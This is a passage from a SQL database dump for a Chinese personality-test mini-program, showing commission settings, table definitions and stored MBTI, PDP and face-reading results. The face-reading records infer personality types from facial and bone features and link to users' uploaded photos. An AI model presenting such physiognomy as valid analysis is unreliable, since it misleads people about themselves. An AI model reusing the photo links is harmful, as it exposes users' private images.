'{\"enabled\":true,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":10,\"noPayment\":true}}}', NULL, 1772697130, 1773132544); +INSERT INTO `mbti_system_config` VALUES (9, 'text_config', 5, '{\"analyzingTitle\":\"正在分析中\",\"startButtonText\":\"开始面相测试\",\"startButtonEnterprise\":\"开始面部测试\",\"reportTitle\":\"分析报告\",\"aiAnalysisText\":\"智能分析\",\"miniprogramName\":\"神仙团队性格测试\"}', '小程序文案配置(企业 5)', 1772700633, 1772761516); +INSERT INTO `mbti_system_config` VALUES (10, 'distribution', 0, '{\"enabled\":false,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"minWithdrawFen\":100,\"maxWithdrawFen\":0,\"requireAudit\":true,\"withdrawFee\":0,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":1,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"ratio\",\"commissionRate\":90,\"commissionAmountFen\":0,\"noPayment\":false}}}', NULL, 1773020928, 1773280490); +INSERT INTO `mbti_system_config` VALUES (11, 'distribution', 6, '{\"enabled\":true,\"promoCenterTitle\":\"推广中心\",\"bindingDays\":30,\"testSettings\":{\"face\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"mbti\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"disc\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"pdp\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true},\"resume\":{\"enabled\":true,\"commissionType\":\"amount\",\"commissionRate\":0,\"commissionAmountFen\":100,\"noPayment\":true}}}', NULL, 1773021025, 1773132517); + +-- ---------------------------- +-- Table structure for mbti_system_configs +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_system_configs`; +CREATE TABLE `mbti_system_configs` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `configKey` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '配置键', + `configValue` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '配置值(JSON格式)', + `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `configKey`(`configKey`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 17 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '系统配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_test_results +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_test_results`; +CREATE TABLE `mbti_test_results` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '结果ID', + `userId` int(11) NOT NULL COMMENT '用户ID', + `testType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '测试类型:mbti/disc/pdp/face', + `resultData` json NULL COMMENT '测试结果(JSON格式)', + `score` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL COMMENT '得分详情', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID(mbti_orders.id)', + `requiresPayment` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否需要付款:0否1是', + `isPaid` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否已付款:0否1是', + `paidAmount` int(11) NULL DEFAULT 0 COMMENT '付款金额(分,冗余存储,避免改价影响历史)', + `paidAt` int(11) NULL DEFAULT NULL COMMENT '付款时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL表示个人用户', + `testScope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '测试来源版本: personal=个人版 enterprise=企业版', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_testType`(`testType`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_orderId`(`orderId`) USING BTREE, + INDEX `idx_isPaid`(`isPaid`) USING BTREE, + INDEX `idx_requiresPayment`(`requiresPayment`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 146 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '测试结果表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_test_results +-- ---------------------------- +INSERT INTO `mbti_test_results` VALUES (1, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFP\", \"title\": \"调停者\"}, \"overview\": \"气质安静理性,内敛而有主见,思维细腻敏感,重视自我价值与内心秩序。\", \"boneAnalysis\": \"骨骼清秀偏木水形,相对骨重肉薄,线条纤长不夸张,气质内敛克制,重思考与感受,行动节奏温和但持续。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神柔和含光,鼻梁细直,唇形自然收敛,下巴略尖,整体给人安静、专注而略带距离感。\", \"personalitySummary\": \"性格敏感理性,重视隐私与独立空间,善于思考与观察,表达含蓄但原则清晰,更偏向安静创作与深度工作环境。\"}', NULL, NULL, 0, 0, 0, NULL, 1772005506, 1772005506, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (2, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性又细腻敏感,兼具洞察力与规划力,适合深度思考与创造性工作。\", \"boneAnalysis\": \"骨相偏瘦长木形,骨肉匀称,线条柔中有直,显思维敏捷、韧性佳,重内在成长与长期规划。\", \"faceAnalysis\": \"额头较饱满、眼神内敛专注,鼻梁细直,嘴形柔和含蓄,整体给人沉静理性、略带距离感的气质。\", \"personalitySummary\": \"性格安静独立,思考细致,有责任感与同理心。做事追求完美与深度,习惯独立完成关键任务,对人保持礼貌克制与适度边界。\"}', NULL, NULL, 0, 0, 0, NULL, 1772005550, 1772005550, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (3, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,内敛专注,有谋划与审美,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称不粗重,重思考与感受,行动节奏稳而不急,耐力尚佳。\", \"faceAnalysis\": \"额头较饱满、眼神内敛专注,鼻梁秀挺,唇形柔和,下颌偏尖,整体偏理性细腻型面相。\", \"personalitySummary\": \"内向克制,思维细腻,有同理心和理想感,做事讲逻辑与条理,重个人空间与深度连接。\"}', NULL, NULL, 0, 0, 0, NULL, 1772010093, 1772010093, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (4, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外表软萌亲和,内在好奇活泼,情感细腻,善于带动气氛与连接他人,适合创造性与互动性强的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体线条圆润偏水土形,骨感不强而肉感充足,气质柔和包容,稳定安全,耐受力与适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,神态单纯好奇,嘴部微抿显乖顺,整体给人温柔、亲近、无攻击感的印象。\", \"personalitySummary\": \"性格友善外向,情绪表达自然丰富,富有想象力与玩心,乐于尝试新鲜事物并与周围建立温暖连结。\"}', NULL, NULL, 1, 0, 0, NULL, 1772074447, 1772074447, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (5, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"天真好奇、亲和力强,富有想象与玩心,善于营造轻松愉悦氛围,适合充满互动与创意的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体线条圆滑饱满,骨感不显偏向柔和之象,气质以亲和、包容与弹性适应为主。\", \"faceAnalysis\": \"圆润脸型与大而明亮的眼睛,透露单纯、好奇与强烈亲近欲,表情专注而无戒心。\", \"personalitySummary\": \"性格活泼外向,情绪表达自然直接,重视陪伴与互动;好奇心强,乐于尝试新事物;在人际中以温柔可亲与玩闹氛围影响他人。\"}', NULL, NULL, 0, 0, 0, NULL, 1772077612, 1772077612, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (6, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内韧、好奇心强,情绪明亮,亲和力高,适合创意与互动并重的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨肉丰盈,线条圆滑,属水土偏旺之象,抗压以柔性缓冲为主,稳定中带弹性。\", \"faceAnalysis\": \"大眼圆润有光、五官饱满偏圆,整体给人单纯友好、信任度高且富有童心的气质。\", \"personalitySummary\": \"性格温暖外向,富想象力与同理心,乐于探索新事物与结交伙伴,重视情感连接与轻松氛围。\"}', NULL, NULL, 0, 0, 0, NULL, 1772085904, 1772085904, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (7, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外表温柔亲和,内在好奇活泼,情感细腻,善于带动氛围和照顾周围情绪,适合创意与人际相关领域发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨肉丰润偏水土形,线条圆滑少棱角,稳重中带灵动,抗压方式以柔性缓冲与情绪调节见长。\", \"faceAnalysis\": \"面部圆润饱满、五官柔和,眼睛圆大有神,整体给人亲切无攻击感,情绪外显、乐观开朗。\", \"personalitySummary\": \"性格温暖黏人、好奇心强,重视陪伴与互动,安全感来自稳定关系;做事随性但富创意,人际友善,擅长用温柔方式影响他人。\"}', NULL, NULL, 1, 0, 0, NULL, 1772086859, 1772086859, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (8, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESFP\", \"title\": \"表演者\"}, \"overview\": \"外向亲和、感受敏锐,情绪明亮,喜欢互动与陪伴,适合在轻松环境中发挥创造与感染力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"骨感不强而以圆润为主,属水土柔和之象,重在包容与稳定,偏向守成与享受当下。\", \"faceAnalysis\": \"圆润饱满、五官柔和,眼大有神而无压迫感,整体给人亲近、安全与温柔信赖之感。\", \"personalitySummary\": \"性格温柔黏人,重感情、爱互动,乐于取悦他人,安全感需求高,依恋稳定的人与环境。\"}', NULL, 22, 1, 1, 1, 1772097475, 1772088690, 1772097481, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (9, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESFP\", \"title\": \"表演者\"}, \"overview\": \"外向活泼,情绪单纯明亮,亲和力强,适合高互动与创造性的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸圆润、骨感不显,肉多掩骨,属柔和亲和型结构,抗压方式偏情绪缓冲与环境适配。\", \"faceAnalysis\": \"大眼圆瞳、短鼻小口与饱满脸型,整体给人单纯、信赖、亲近与好奇的感觉。\", \"personalitySummary\": \"性格单纯乐观,强烈好奇心与玩心并存,重视当下体验与互动回应,人际表现亲切黏人,容易成为团队的气氛担当与情绪疗愈者。\"}', NULL, 24, 1, 1, 1, 1772098134, 1772088972, 1772098138, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (10, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向灵动、好奇心强,情感细腻又具创造力,适合在自由氛围中发挥想象与亲和力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸线条柔和偏圆,骨感不突显,属水木相融合,重情重趣,适合以灵活适配和创意表达见长。\", \"faceAnalysis\": \"圆润面部与大眼透露童真与包容,表情专注却无攻击性,整体给人亲近、安全与信赖感。\", \"personalitySummary\": \"性格温柔友好,想象力丰富,乐于互动与陪伴,遇事以情感与直觉回应,重视氛围与关系和谐。\"}', NULL, 21, 1, 1, 1, 1772097190, 1772089010, 1772097195, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (11, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向温暖、好奇心强,富有想象力与亲和力,擅长在轻松氛围中激发他人潜能。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"整体轮廓饱满柔和,骨肉丰厚偏水木形,相对少锐角,主感受力强、适应快、压力承载偏弹性。\", \"faceAnalysis\": \"圆润脸型与大眼晶亮,神情专注又天真,透露强烈好奇心与亲近感,人际开放友善。\", \"personalitySummary\": \"性格灵动活泼,情绪表达自然,乐于探索新事物并与他人分享,重视氛围与情感联结,组织性略逊但创意与感染力突出。\"}', NULL, 20, 1, 1, 1, 1772096995, 1772094812, 1772096998, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (12, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外向灵动、好奇心强,情感细腻,富有创意与亲和力,适合在人际与创意场景中发光。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg\"], \"boneAnalysis\": \"头脸轮廓圆滑偏水形,骨肉丰润,抗压以柔克刚,适应环境与情境能力突出。\", \"faceAnalysis\": \"五官圆润饱满、眼大有神,整体给人亲切软萌之感,情绪表达自然真诚,亲和力极高。\", \"personalitySummary\": \"性格温柔热情,喜欢探索新鲜事物,善于用真诚和幽默拉近距离;做事随性但富有想象力,适合自由度高且能与人互动的环境。\"}', NULL, 19, 1, 1, 1, 1772096444, 1772095236, 1772096493, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (13, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性且内驱明确,思维细腻,有规划意识与长远眼光,适合深度型与创造型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体骨感清晰偏纤细,属木水结合之形,相对理性敏感,决断偏谨慎,重思考与稳妥推进。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神专注内敛,鼻梁秀直,嘴形柔和克制,下颌略尖显感性与理想色彩。\", \"personalitySummary\": \"性格内敛安静,情绪稳定度尚佳,做事讲逻辑与秩序,偏完美主义与自我要求高,重个人空间与精神追求。\"}', NULL, 23, 1, 1, 1, 1772097793, 1772097765, 1772097797, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (14, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-26T09:29:32.351Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:29:32.351Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 10, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098172, 1772098172, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (15, 1, 'mbti', '{\"scores\": {\"E\": 0, \"F\": 8, \"I\": 9, \"J\": 0, \"N\": 7, \"P\": 6, \"S\": 0, \"T\": 0}, \"answers\": [], \"mbtiType\": \"INFP\", \"timestamp\": \"2026-02-26T09:30:17.331Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:30:17.331Z\", \"description\": {\"name\": \"调停者\", \"type\": \"INFP\", \"careers\": [\"作家\", \"心理咨询\", \"社工\"], \"category\": \"理想主义者\", \"strengths\": [\"创造力\", \"同理心\", \"真诚\"], \"weaknesses\": [\"过于理想化\", \"情绪化\"], \"description\": \"理想主义、忠诚的调解者\"}, \"testDuration\": 8, \"dimensionScores\": {\"EI\": {\"E\": 0, \"I\": 9, \"dominant\": \"I\", \"percentage\": 100}, \"JP\": {\"J\": 0, \"P\": 6, \"dominant\": \"P\", \"percentage\": 100}, \"SN\": {\"N\": 7, \"S\": 0, \"dominant\": \"N\", \"percentage\": 100}, \"TF\": {\"F\": 8, \"T\": 0, \"dominant\": \"F\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098217, 1772098217, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (16, 1, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 6, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 8}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-02-26T09:30:35.053Z\", \"confidence\": 100, \"completedAt\": \"2026-02-26T09:30:35.053Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 9, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 6, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 8, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 1, 0, NULL, NULL, 1772098235, 1772098235, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (17, 1, 'mbti', '{\"scores\": {\"E\": 4, \"F\": 4, \"I\": 5, \"J\": 3, \"N\": 3, \"P\": 4, \"S\": 3, \"T\": 4}, \"answers\": [], \"mbtiType\": \"ISTP\", \"timestamp\": \"2026-02-26T09:31:36.648Z\", \"confidence\": 53, \"completedAt\": \"2026-02-26T09:31:36.648Z\", \"description\": {\"name\": \"鉴赏家\", \"type\": \"ISTP\", \"careers\": [\"工程师\", \"技术员\", \"飞行员\"], \"category\": \"探险家\", \"strengths\": [\"适应力强\", \"动手能力\", \"冷静\"], \"weaknesses\": [\"可能冷漠\", \"不善表达\"], \"description\": \"灵活、务实的问题解决者\"}, \"testDuration\": 51, \"dimensionScores\": {\"EI\": {\"E\": 4, \"I\": 5, \"dominant\": \"I\", \"percentage\": 56}, \"JP\": {\"J\": 3, \"P\": 4, \"dominant\": \"P\", \"percentage\": 57}, \"SN\": {\"N\": 3, \"S\": 3, \"dominant\": \"S\", \"percentage\": 50}, \"TF\": {\"F\": 4, \"T\": 4, \"dominant\": \"T\", \"percentage\": 50}}}', NULL, 26, 1, 1, 1, 1772157110, 1772098296, 1772157115, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (18, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 20, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-02-27T01:34:12.437Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 100, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 18, \"secondaryType\": \"Peacock\"}', NULL, NULL, 1, 0, NULL, NULL, 1772156052, 1772156052, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (19, 1, 'pdp', '{\"scores\": {\"Owl\": 6, \"Koala\": 9, \"Tiger\": 2, \"Peacock\": 3, \"Chameleon\": 0}, \"answers\": {\"1\": \"Koala\", \"2\": \"Koala\", \"3\": \"Koala\", \"4\": \"Koala\", \"5\": \"Koala\", \"6\": \"Peacock\", \"7\": \"Peacock\", \"8\": \"Owl\", \"9\": \"Tiger\", \"10\": \"Owl\", \"11\": \"Tiger\", \"12\": \"Owl\", \"13\": \"Koala\", \"14\": \"Koala\", \"15\": \"Koala\", \"16\": \"Owl\", \"17\": \"Owl\", \"18\": \"Peacock\", \"19\": \"Koala\", \"20\": \"Owl\"}, \"completedAt\": \"2026-02-27T01:35:10.123Z\", \"description\": {\"type\": \"考拉型\", \"color\": \"#10B981\", \"emoji\": \"🐨\", \"title\": \"支持者\", \"careers\": [\"人力资源\", \"客户服务\", \"教师\"], \"teamRole\": \"适合担任协调者和支持者角色\", \"strengths\": [\"可靠稳定\", \"团队协作\", \"善解人意\"], \"weaknesses\": [\"可能抗拒变化\", \"决策较慢\"], \"description\": \"稳重可靠,注重团队和谐\"}, \"percentages\": {\"Owl\": 30, \"Koala\": 45, \"Tiger\": 10, \"Peacock\": 15, \"Chameleon\": 0}, \"dominantType\": \"Koala\", \"testDuration\": 40, \"secondaryType\": \"Owl\"}', NULL, 28, 1, 1, 1, 1772157446, 1772156110, 1772157451, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (20, 1, 'disc', '{\"scores\": {\"C\": 3, \"D\": 4, \"I\": 7, \"S\": 6}, \"answers\": {\"1\": \"D\", \"2\": 